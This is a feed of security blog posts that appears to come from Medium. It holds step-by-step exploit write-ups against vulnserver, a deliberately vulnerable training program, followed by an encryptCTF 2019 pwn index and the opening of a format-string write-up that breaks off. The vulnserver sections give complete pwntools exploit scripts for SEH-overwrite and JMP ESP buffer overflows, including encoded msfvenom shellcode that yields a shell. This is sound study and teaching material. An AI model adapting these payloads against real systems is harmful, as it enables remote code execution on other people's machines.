&quot;Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1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1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2F&quot;</pre><pre>r.sendline(payload)<br>r.close()</pre><p>Sending this payload gives us the unique pattern that has overwritten the <strong>SEH value</strong> and the <strong>NSEH pointer</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/361/1*zyR5E487NAoVNm89SDpaqQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/682/1*l1qqs4TxiK3ma7UeAVRVYQ.png" /></figure><p>The offset we need to overwrite <strong>SEH value</strong> is <strong>3522</strong> and <strong>3518 </strong>for <strong>NSEH pointer</strong>.</p><p>Our payload structure should now look like this.</p><pre>payload = &lt;3518 bytes buffer&gt; + &lt;NSEH overwrite&gt; + &lt;SEH overwrite&gt;</pre><p>According to this <a href="https://www.corelan.be/index.php/2009/07/25/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-seh/">writeup</a> by corelan, we need to overwrite the <strong>SEH value</strong> with a <strong>POP POP RET </strong>instruction and overwrite <strong>NSEH </strong>with an instruction that will jump to our <strong>shellcode</strong>.</p><p>To execute this plan, let’s check if there is an available <strong>POP POP RET </strong>instruction that we can use with the help of mona. We can simply use <strong>!mona seh -n</strong> to get a list of <strong>POP POP RET </strong>instructions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/810/1*Qd3JXyZwi7N-utYPDr1L3Q.png" /></figure><p>We can use <strong>0x625010b4</strong> as our <strong>POP POP RET </strong>instruction<strong>.</strong></p><p>Next, we need to overwrite <strong>NSEH </strong>with instructions that will make us jump to our shellcode. Upon testing, we cannot place our shellcode after <strong>SEH</strong> overwrite since we only have a limited stack space after <strong>NSEH </strong>and <strong>SEH</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/431/1*sL2N5qBuo7etHNkoOJoyDg.png" /></figure><p>Our only option is to use the buffer before <strong>NSEH </strong>overwrite for our shellcode, and our only way to jump to our shellcode is to <strong>jump backwards</strong>.</p><p>To give an update on our payload structure, it should now look like this.</p><pre>payload = &lt;buffer&gt; + &lt;shellcode&gt; + &lt;NSEH&gt; + &lt;SEH&gt;</pre><p>Our next issue is we only have 4 bytes for jumping backwards. Since our shellcode have a length of <strong>300 </strong>to <strong>400 </strong>on average, we need to atleast jump <strong>400 bytes</strong> backwards. But writing this instruction requires atleast 5 bytes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/525/1*qGwLLEorAN3DW_BX-j2qzA.png" /></figure><p>We need to think of an alternate way to jump into our shellcode.</p><p>According to this <a href="https://thestarman.pcministry.com/asm/2bytejumps.htm">page</a>, we can do a <strong>SHORT RELATIVE JUMP </strong>to jump backwards. This solution fits perfectly on our space issue since we only need two bytes for this instruction.</p><p>To compute for the instruction, we need to append the <strong>2’s complement </strong>of the negative jump what we want to “\xeb” (opcode for short jump). We can use this formula to compute the <strong>2’s complement</strong>.</p><pre>2’s complement = (&lt;jump distannce&gt; ^ 0xff) + 1</pre><p>Let’s use <strong>70 bytes</strong> as our jump distance.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/573/1*uzGcT5DlqP-sGZJC8n8YHg.png" /></figure><p>Since “<strong>\xeb\xba</strong>” are just 2 bytes, we need to append <strong>NOP instructions</strong> to make a 4-byte instruction.</p><p>Let’s test this with our reconstructed payload. We will use “<strong>\xcc</strong>” (<strong>int 3 instruction</strong>) for debugging purposes.</p><pre>from pwn import *</pre><pre>host = &#39;192.168.136.241&#39;<br>port = 9999</pre><pre>r = remote(host, port)</pre><pre>shellcode = &quot;&quot;</pre><pre>payload = &quot;&quot;<br>payload += &quot;GMON /&quot;<br>payload += &quot;A&quot;*(3518 - 70) # Subtract 70<br>payload += &quot;\xcc&quot;*70 #  This is where the short jump occurs, int 3 - for debugging<br>payload += &quot;\xeb\xba\x90\x90&quot; # jmp -70<br>payload += p32(0x625010b4)<br>payload += &quot;D&quot;*(4096 - len(payload)) # to make sure that the payload is greater than 3950</pre><pre>r.sendline(payload)<br>r.close()</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/717/1*mX8WpTHYluHmjvo2XIsCCA.png" /></figure><p>Upon checking, we did not land exactly on the start of “<strong>\xcc</strong>”. We landed 2 bytes ahead of it. A quick explanation can be seen on the <a href="https://thestarman.pcministry.com/asm/2bytejumps.htm">SHORT JMP resource</a> we used above.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/899/1*nrSipc4YKZ9hri_IE6m8cg.png" /></figure><p>We need to reduce <strong>2 bytes</strong> of buffer to exactly land on our desired location.</p><blockquote>Alternative solution: Replace the buffer with NOP instructions.</blockquote><p>Let’s adjust the payload.</p><pre>from pwn import *</pre><pre>host = &#39;192.168.136.241&#39;<br>port = 9999</pre><pre>r = remote(host, port)</pre><pre>shellcode = &quot;&quot;</pre><pre>payload = &quot;&quot;<br>payload += &quot;GMON /&quot;<br>payload += &quot;A&quot;*(3518 - 70 + 2) # Subtract 70, add 2 for adjustment<br>payload += &quot;\xcc&quot;*68 #  This is where the short jump occurs, int 3 - for debugging<br>payload += &quot;\xeb\xba\x90\x90&quot; # jmp -70<br>payload += p32(0x625010b4)<br>payload += &quot;D&quot;*(4096 - len(payload)) # to make sure that the payload is greater than 3950</pre><pre>r.sendline(payload)<br>r.close()</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/715/1*g2r3e3-PdflHWizNQ1veGg.png" /></figure><p>Now, we got <strong>68 bytes</strong> of space. We can now do a long jump backwards. Let’s try to do a <strong>500 bytes</strong> backward jump. For review, our payload structure will now look like this.</p><pre>&lt;buffer&gt; + &lt;NOP sled&gt; + &lt;shellcode&gt; + &lt;jmp -500 &amp; padding&gt; + &lt;NSEH (jmp -70)&gt; + &lt;SEH (POP POP RET)&gt;</pre><p>We can use <strong>nasm_shell </strong>for generating our <strong>jmp -500 </strong>instruction.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/550/1*AMK0papabV12Jg6fP-rEdQ.png" /></figure><p>Let’s update our payload script.</p><pre>from pwn import *</pre><pre>host = &#39;192.168.136.241&#39;<br>port = 9999</pre><pre>r = remote(host, port)</pre><pre>shellcode = &quot;&quot;</pre><pre>payload = &quot;&quot;<br>payload += &quot;GMON /&quot;<br>payload += &quot;A&quot;*(3518 - 70 + 2 - 500) # Subtract 70, add 2 for adjustment, -500 for shellcode space<br>payload += &quot;\xcc&quot;*500 # NOP + shellcode location, int3 for debugging purposes only<br>payload += &quot;\xE9\x07\xFE\xFF\xFF&quot; # This is where the short jump occurs, jmp -500<br>payload += &quot;\x90&quot; * (68 - 5) # padding<br>payload += &quot;\xeb\xba\x90\x90&quot; # jmp -70<br>payload += p32(0x625010b4)<br>payload += &quot;D&quot;*(4096 - len(payload)) # to make sure that the payload is greater than 3950</pre><pre>r.sendline(payload)<br>r.close()</pre><blockquote>Quick note: Always remember that we need to have a total of <strong>3518 bytes </strong>of payload before SEH overwrite.</blockquote><p>Let’s try to send this payload.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/719/1*LLPiGSmD-CEa6sHZSlwyLg.png" /></figure><p>Success! We landed exactly on our first “<strong>\xcc</strong>”. Let’s replace this with <strong>NOP sled</strong> and <strong>shellcode</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/912/1*adwfWop049fWZ8y7wzsg0g.png" /></figure><p>Our final script now looks like this.</p><pre>from pwn import *</pre><pre>host = &#39;192.168.136.241&#39;<br>port = 9999</pre><pre>r = remote(host, port)</pre><pre>shellcode =  b&quot;&quot;<br>shellcode += b&quot;\xd9\xe5\xd9\x74\x24\xf4\x58\x31\xc9\xb1\x52&quot;<br>shellcode += b&quot;\xbb\x5f\xb2\x29\xf1\x83\xc0\x04\x31\x58\x13&quot;<br>shellcode += b&quot;\x03\x07\xa1\xcb\x04\x4b\x2d\x89\xe7\xb3\xae&quot;<br>shellcode += b&quot;\xee\x6e\x56\x9f\x2e\x14\x13\xb0\x9e\x5e\x71&quot;<br>shellcode += b&quot;\x3d\x54\x32\x61\xb6\x18\x9b\x86\x7f\x96\xfd&quot;<br>shellcode += b&quot;\xa9\x80\x8b\x3e\xa8\x02\xd6\x12\x0a\x3a\x19&quot;<br>shellcode += b&quot;\x67\x4b\x7b\x44\x8a\x19\xd4\x02\x39\x8d\x51&quot;<br>shellcode += b&quot;\x5e\x82\x26\x29\x4e\x82\xdb\xfa\x71\xa3\x4a&quot;<br>shellcode += b&quot;\x70\x28\x63\x6d\x55\x40\x2a\x75\xba\x6d\xe4&quot;<br>shellcode += b&quot;\x0e\x08\x19\xf7\xc6\x40\xe2\x54\x27\x6d\x11&quot;<br>shellcode += b&quot;\xa4\x60\x4a\xca\xd3\x98\xa8\x77\xe4\x5f\xd2&quot;<br>shellcode += b&quot;\xa3\x61\x7b\x74\x27\xd1\xa7\x84\xe4\x84\x2c&quot;<br>shellcode += b&quot;\x8a\x41\xc2\x6a\x8f\x54\x07\x01\xab\xdd\xa6&quot;<br>shellcode += b&quot;\xc5\x3d\xa5\x8c\xc1\x66\x7d\xac\x50\xc3\xd0&quot;<br>shellcode += b&quot;\xd1\x82\xac\x8d\x77\xc9\x41\xd9\x05\x90\x0d&quot;<br>shellcode += b&quot;\x2e\x24\x2a\xce\x38\x3f\x59\xfc\xe7\xeb\xf5&quot;<br>shellcode += b&quot;\x4c\x6f\x32\x02\xb2\x5a\x82\x9c\x4d\x65\xf3&quot;<br>shellcode += b&quot;\xb5\x89\x31\xa3\xad\x38\x3a\x28\x2d\xc4\xef&quot;<br>shellcode += b&quot;\xff\x7d\x6a\x40\x40\x2d\xca\x30\x28\x27\xc5&quot;<br>shellcode += b&quot;\x6f\x48\x48\x0f\x18\xe3\xb3\xd8\xe7\x5c\x33&quot;<br>shellcode += b&quot;\xee\x80\x9e\x43\x1e\x0d\x16\xa5\x4a\xbd\x7e&quot;<br>shellcode += b&quot;\x7e\xe3\x24\xdb\xf4\x92\xa9\xf1\x71\x94\x22&quot;<br>shellcode += b&quot;\xf6\x86\x5b\xc3\x73\x94\x0c\x23\xce\xc6\x9b&quot;<br>shellcode += b&quot;\x3c\xe4\x6e\x47\xae\x63\x6e\x0e\xd3\x3b\x39&quot;<br>shellcode += b&quot;\x47\x25\x32\xaf\x75\x1c\xec\xcd\x87\xf8\xd7&quot;<br>shellcode += b&quot;\x55\x5c\x39\xd9\x54\x11\x05\xfd\x46\xef\x86&quot;<br>shellcode += b&quot;\xb9\x32\xbf\xd0\x17\xec\x79\x8b\xd9\x46\xd0&quot;<br>shellcode += b&quot;\x60\xb0\x0e\xa5\x4a\x03\x48\xaa\x86\xf5\xb4&quot;<br>shellcode += b&quot;\x1b\x7f\x40\xcb\x94\x17\x44\xb4\xc8\x87\xab&quot;<br>shellcode += b&quot;\x6f\x49\xb7\xe1\x2d\xf8\x50\xac\xa4\xb8\x3c&quot;<br>shellcode += b&quot;\x4f\x13\xfe\x38\xcc\x91\x7f\xbf\xcc\xd0\x7a&quot;<br>shellcode += b&quot;\xfb\x4a\x09\xf7\x94\x3e\x2d\xa4\x95\x6a&quot;</pre><pre>payload = &quot;&quot;<br>payload += &quot;GMON /&quot;<br>payload += &quot;A&quot;*(3518 - 70 + 2 - 500) # Subtract 70, add 2 for adjustment, -500 for shellcode space<br>payload += &quot;\x90&quot;*(500 - len(shellcode)) # NOP sled<br>payload += shellcode<br>payload += &quot;\xE9\x07\xFE\xFF\xFF&quot; # This is where the short jump occurs, jmp -500<br>payload += &quot;\x90&quot; * (68 - 5) # padding<br>payload += &quot;\xeb\xba\x90\x90&quot; # jmp -70<br>payload += p32(0x625010b4)<br>payload += &quot;D&quot;*(4096 - len(payload)) # to make sure that the payload is greater than 3950</pre><pre>r.sendline(payload)<br>r.close()</pre><p>Executing this payload gives us a shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/979/1*fhRcxMQoQjjxhp34zMsDgw.png" /></figure><p>— ar33zy</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=26c114c32626" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Exploiting vulnserver.exe — TRUN command using JMP ESP technique]]></title>
            <link>https://medium.com/@ar33zy/exploiting-vulnserver-exe-trun-command-using-jmp-esp-technique-464e6d0907d3?source=rss-a482b0075375------2</link>
            <guid isPermaLink="false">https://medium.com/p/464e6d0907d3</guid>
            <category><![CDATA[windows-exploit]]></category>
            <category><![CDATA[binary-exploitation]]></category>
            <category><![CDATA[pwn]]></category>
            <category><![CDATA[vulnserver]]></category>
            <dc:creator><![CDATA[ar33zy]]></dc:creator>
            <pubDate>Sat, 04 Jul 2020 14:29:58 GMT</pubDate>
            <atom:updated>2020-07-05T15:24:50.062Z</atom:updated>
            <content:encoded><![CDATA[<h3>Exploiting vulnserver.exe — TRUN command using JMP ESP technique</h3><p>In this write-up, I will discuss about attacking TRUN command of vulnserver.exe with JMP ESP technique.</p><p>To get started, let’s read the source code of vulnserver.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/514/1*sofI2AIRVf8P8EYuSBkQOQ.png" /></figure><p>The code tells us that it copies <strong>3000 bytes</strong> of our input <strong>(RecvBuf) </strong>to <strong>TrunBuf </strong>if our input contains a “.”, and it passes <strong>TrunBuf </strong>to <strong>Function3().</strong></p><p>Let’s inspect <strong>Function3 </strong>to have a better understanding what happens next.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/272/1*UNtu3Yf9RmoOk9NTho8Ywg.png" /></figure><p>The contents of <strong>TrunBuf </strong>is copied to <strong>Buffer2S</strong> without checking the payload length. This is where the vulnerability occurs. Since <strong>Buffer2S </strong>can only handle <strong>2000</strong> <strong>bytes </strong>and <strong>TrunBuf </strong>can handle up to <strong>3000 bytes </strong>of input, we can smash the stack by sending a payload greater than <strong>2000 bytes.</strong></p><p>Our initial payload should look like this.</p><pre>from pwn import *</pre><pre>host = &#39;192.168.136.241&#39;<br>port = 9999</pre><pre>r = remote(host, port)</pre><pre>payload = &quot;&quot;<br>payload += &quot;TRUN .&quot;<br>payload += &quot;A&quot;*3000</pre><pre>r.sendline(payload)<br>r.close()</pre><p>Sending this payload to <strong>vulnserver </strong>makes the program crash.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jR3gWLU23-apIk4f12utMg.png" /></figure><p>Upon checking the registers, it seems that we can now control the instruction pointer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/487/1*Nzl7rVl9twqW5H9zqlMAVg.png" /></figure><p>Let’s fuzz this program to get the offset we need to control EIP.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DJj85TFnu846W36wWqvsXQ.png" /></figure><pre>from pwn import *</pre><pre>host = &#39;192.168.136.241&#39;<br>port = 9999</pre><pre>r = remote(host, port)</pre><pre>payload = &quot;&quot;<br>payload += &quot;TRUN .&quot;<br>payload += &quot;Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1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Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9&quot;</pre><pre>r.sendline(payload)<br>r.close()</pre><p>Sending this payload gives us the unique pattern that has overwritten the instruction pointer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/426/1*vNBYTGIE3qod1yjP2JOufw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/595/1*OYkh7KVXX3njy3MFBGKAEw.png" /></figure><p>The offset is <strong>2006</strong>.</p><p>Now, let’s try to execute a shellcode after controlling the instruction pointer. Since we can send <strong>3000 bytes</strong> of payload, we have a lot of space to work with. We can simply send our payload together with the shellcode and use <strong>JMP ESP</strong> to jump to our shellcode.</p><p>First, let’s check if there is an available <strong>JMP ESP </strong>instruction that we can use with the help of mona. We can simply use <strong>!mona jmp -r esp </strong>to get a list of <strong>JMP ESP</strong> instructions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/697/1*KJQDagYBs7WCCy39-MGTeg.png" /></figure><p>We can use <strong>0x625011af</strong> as our <strong>JMP ESP</strong> instruction.</p><p>Next, we need to generate our shellcode. We can simply use <strong>msfvenom </strong>for this one.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*cBUxJyYybDGPnJzw2s9xlw.png" /></figure><p>Now, let’s reconstruct our payload with this structure.</p><pre>payload = &lt;2006 bytes buffer&gt; + JMP ESP + NOP SLED + shellcode</pre><pre>NOTE: Since we have a large space to work with, we added a NOP sled to give space to our shellcode. NOP stands for no operation, which means that it is an instruction that does nothing.</pre><p>Our final payload script looks like this.</p><pre>from pwn import *</pre><pre>host = &#39;192.168.136.241&#39;<br>port = 9999</pre><pre>r = remote(host, port)</pre><pre>shellcode =  b&quot;&quot;<br>shellcode += b&quot;\xdb\xd9\xd9\x74\x24\xf4\x5e\xbd\xfd\xa4\xaa&quot;<br>shellcode += b&quot;\x0f\x33\xc9\xb1\x52\x31\x6e\x17\x83\xc6\x04&quot;<br>shellcode += b&quot;\x03\x93\xb7\x48\xfa\x97\x50\x0e\x05\x67\xa1&quot;<br>shellcode += b&quot;\x6f\x8f\x82\x90\xaf\xeb\xc7\x83\x1f\x7f\x85&quot;<br>shellcode += b&quot;\x2f\xeb\x2d\x3d\xbb\x99\xf9\x32\x0c\x17\xdc&quot;<br>shellcode += b&quot;\x7d\x8d\x04\x1c\x1c\x0d\x57\x71\xfe\x2c\x98&quot;<br>shellcode += b&quot;\x84\xff\x69\xc5\x65\xad\x22\x81\xd8\x41\x46&quot;<br>shellcode += b&quot;\xdf\xe0\xea\x14\xf1\x60\x0f\xec\xf0\x41\x9e&quot;<br>shellcode += b&quot;\x66\xab\x41\x21\xaa\xc7\xcb\x39\xaf\xe2\x82&quot;<br>shellcode += b&quot;\xb2\x1b\x98\x14\x12\x52\x61\xba\x5b\x5a\x90&quot;<br>shellcode += b&quot;\xc2\x9c\x5d\x4b\xb1\xd4\x9d\xf6\xc2\x23\xdf&quot;<br>shellcode += b&quot;\x2c\x46\xb7\x47\xa6\xf0\x13\x79\x6b\x66\xd0&quot;<br>shellcode += b&quot;\x75\xc0\xec\xbe\x99\xd7\x21\xb5\xa6\x5c\xc4&quot;<br>shellcode += b&quot;\x19\x2f\x26\xe3\xbd\x6b\xfc\x8a\xe4\xd1\x53&quot;<br>shellcode += b&quot;\xb2\xf6\xb9\x0c\x16\x7d\x57\x58\x2b\xdc\x30&quot;<br>shellcode += b&quot;\xad\x06\xde\xc0\xb9\x11\xad\xf2\x66\x8a\x39&quot;<br>shellcode += b&quot;\xbf\xef\x14\xbe\xc0\xc5\xe1\x50\x3f\xe6\x11&quot;<br>shellcode += b&quot;\x79\x84\xb2\x41\x11\x2d\xbb\x09\xe1\xd2\x6e&quot;<br>shellcode += b&quot;\x9d\xb1\x7c\xc1\x5e\x61\x3d\xb1\x36\x6b\xb2&quot;<br>shellcode += b&quot;\xee\x27\x94\x18\x87\xc2\x6f\xcb\x68\xba\xe7&quot;<br>shellcode += b&quot;\xfd\x01\xb9\xf7\x10\x8e\x34\x11\x78\x3e\x11&quot;<br>shellcode += b&quot;\x8a\x15\xa7\x38\x40\x87\x28\x97\x2d\x87\xa3&quot;<br>shellcode += b&quot;\x14\xd2\x46\x44\x50\xc0\x3f\xa4\x2f\xba\x96&quot;<br>shellcode += b&quot;\xbb\x85\xd2\x75\x29\x42\x22\xf3\x52\xdd\x75&quot;<br>shellcode += b&quot;\x54\xa4\x14\x13\x48\x9f\x8e\x01\x91\x79\xe8&quot;<br>shellcode += b&quot;\x81\x4e\xba\xf7\x08\x02\x86\xd3\x1a\xda\x07&quot;<br>shellcode += b&quot;\x58\x4e\xb2\x51\x36\x38\x74\x08\xf8\x92\x2e&quot;<br>shellcode += b&quot;\xe7\x52\x72\xb6\xcb\x64\x04\xb7\x01\x13\xe8&quot;<br>shellcode += b&quot;\x06\xfc\x62\x17\xa6\x68\x63\x60\xda\x08\x8c&quot;<br>shellcode += b&quot;\xbb\x5e\x38\xc7\xe1\xf7\xd1\x8e\x70\x4a\xbc&quot;<br>shellcode += b&quot;\x30\xaf\x89\xb9\xb2\x45\x72\x3e\xaa\x2c\x77&quot;<br>shellcode += b&quot;\x7a\x6c\xdd\x05\x13\x19\xe1\xba\x14\x08&quot;</pre><pre>payload = &quot;&quot;<br>payload += &quot;TRUN .&quot;<br>payload += &quot;A&quot;*2006<br>payload += p32(0x625011af) # JMP ESP<br>payload += &quot;\x90&quot;*50 # NOP SLED<br>payload += shellcode</pre><pre>r.sendline(payload)<br>r.close()</pre><p>Executing this payload gives us a shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/980/1*Fsz1-y58foVMeBFsUeG4nw.png" /></figure><p>— ar33zy</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=464e6d0907d3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[encryptCTF2019 Pwn Write-ups]]></title>
            <link>https://medium.com/@ar33zy/encryptctf2019-pwn-write-ups-37a83298096f?source=rss-a482b0075375------2</link>
            <guid isPermaLink="false">https://medium.com/p/37a83298096f</guid>
            <category><![CDATA[hsb]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[hackstreetboys]]></category>
            <category><![CDATA[encrypt2019]]></category>
            <category><![CDATA[pwn]]></category>
            <dc:creator><![CDATA[ar33zy]]></dc:creator>
            <pubDate>Thu, 04 Apr 2019 12:50:08 GMT</pubDate>
            <atom:updated>2019-04-04T12:50:59.976Z</atom:updated>
            <content:encoded><![CDATA[<p>Our team (<a href="https://hackstreetboys.ph/">hackstreetboys</a>) decided to participate @ <a href="https://ctftime.org/event/771">encryptCTF 2019</a> hosted by <a href="https://ctftime.org/team/72103">Abs0lut3Pwn4g3</a>. Luckily, we finished 52nd place out of 696 participants.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JJWmZGr_vrCRf0bJvup8pQ.png" /></figure><p>For this multi-part write-up, I will discuss how I finished all challenges in pwn category.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ycEO30rNNBaEmC9qIWf8VQ.png" /><figcaption>First pwn board wipe of the year. hsb represent! :)</figcaption></figure><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2F62PP2yEIAZF6g%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2F62PP2yEIAZF6g%2Fgiphy.gif&amp;image=https%3A%2F%2Fi.giphy.com%2Fmedia%2F62PP2yEIAZF6g%2Fgiphy.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="247" frameborder="0" scrolling="no"><a href="https://medium.com/media/8bb5afd9dd418be7b94422bf05dd409d/href">https://medium.com/media/8bb5afd9dd418be7b94422bf05dd409d/href</a></iframe><ul><li><a href="https://medium.com/hackstreetboys/encryptctf-2019-pwn-write-up-1-of-5-fd27065376c9">Pwn0</a> (Basic buffer overflow exploit)</li><li><a href="https://medium.com/hackstreetboys/encryptctf-2019-pwn-write-up-2of-5-a8c2b49e858a">Pwn1</a> (Basic buffer overflow exploit)</li><li><a href="https://medium.com/hackstreetboys/encryptctf-2019-pwn-write-up-3-of-5-10129404a45a">Pwn2</a> (gets()+ system() ROP chain)</li><li><a href="https://medium.com/hackstreetboys/encryptctf-2019-pwn-write-up-4-of-5-6fc5779d51fa">Pwn3</a> ( Libc leak + ROP chain)</li><li><a href="https://medium.com/hackstreetboys/encryptctf-2019-pwn-write-up-5-of-5-7cf6509ab112">Pwn4</a> ( Format string exploit )</li></ul><p>-</p><p>Thank you for reading. Hope you learned something from these write-ups. Feel free to drop any comments on this one. ❤</p><p>— ar33zy</p><p><a href="https://hackstreetboys.ph/">hackstreetboys</a> aka [hsb] is a CTF team from the Philippines.</p><p>Please do like our <a href="https://www.facebook.com/hackstreetboys/">Facebook Page </a>and Follow us on <a href="https://twitter.com/_hackstreetboys">Twitter</a>, <a href="https://medium.com/hackstreetboys">Medium</a>, and <a href="https://github.com/hackstreetboysph">GitHub</a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=37a83298096f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[encryptCTF 2019 Pwn Write-up 5 of 5]]></title>
            <link>https://medium.com/@ar33zy/encryptctf-2019-pwn-write-up-5-of-5-7cf6509ab112?source=rss-a482b0075375------2</link>
            <guid isPermaLink="false">https://medium.com/p/7cf6509ab112</guid>
            <category><![CDATA[hackstreetboys]]></category>
            <category><![CDATA[pwn]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[encrypt2019]]></category>
            <category><![CDATA[hsb]]></category>
            <dc:creator><![CDATA[ar33zy]]></dc:creator>
            <pubDate>Thu, 04 Apr 2019 12:26:35 GMT</pubDate>
            <atom:updated>2019-04-05T00:41:21.887Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ycEO30rNNBaEmC9qIWf8VQ.png" /><figcaption>First pwn board wipe of the year. hsb represent! :)</figcaption></figure><h3>Pwn4 Solution (300 pts.)</h3><blockquote>This challenge tackles format string exploit — overwriting GOT entry to have a program flow control.</blockquote><p>Challenge description:</p><blockquote>GOT is a amazing series!</blockquote><p>Based on the description, it seems that the challenge is all about manipulating GOT. And one known technique that focuses on overwriting GOT entries is format string exploit. Let’s try that exploit on this challenge.</p><p>Before we start, let’s do our basic checks on the binary.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PJpYOgnD-kDfw9PNLoFdkw.png" /><figcaption>Commands used: <strong>file</strong> and<strong> gdb</strong> <strong>checksec</strong></figcaption></figure><p>Again, the file is a <strong>32-bit ELF executable, PIE </strong>and <strong>RelRo </strong>are disabled. Since <strong>RelRo</strong> is disabled, we are guaranteed that we can overwrite <strong>GOT</strong> entries.</p><p>Let’s try to run the binary and do a simple format string exploit test.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-1Mgfdjue5ER9Mdt7qjmxg.png" /><figcaption>Aha! A format string exploit :)</figcaption></figure><blockquote>Quick note: You can read up an introduction about format string exploit from this resource: <a href="https://www.exploit-db.com/docs/english/28476-linux-format-string-exploitation.pdf">https://www.exploit-db.com/docs/english/28476-linux-format-string-exploitation.pdf</a></blockquote><p>We got a successful format string exploit. Let’s disassemble the program using gdb.</p><pre>gef➤  disas main<br>Dump of assembler code for function main:<br>   0x08048551 &lt;+0&gt;: push   ebp<br>  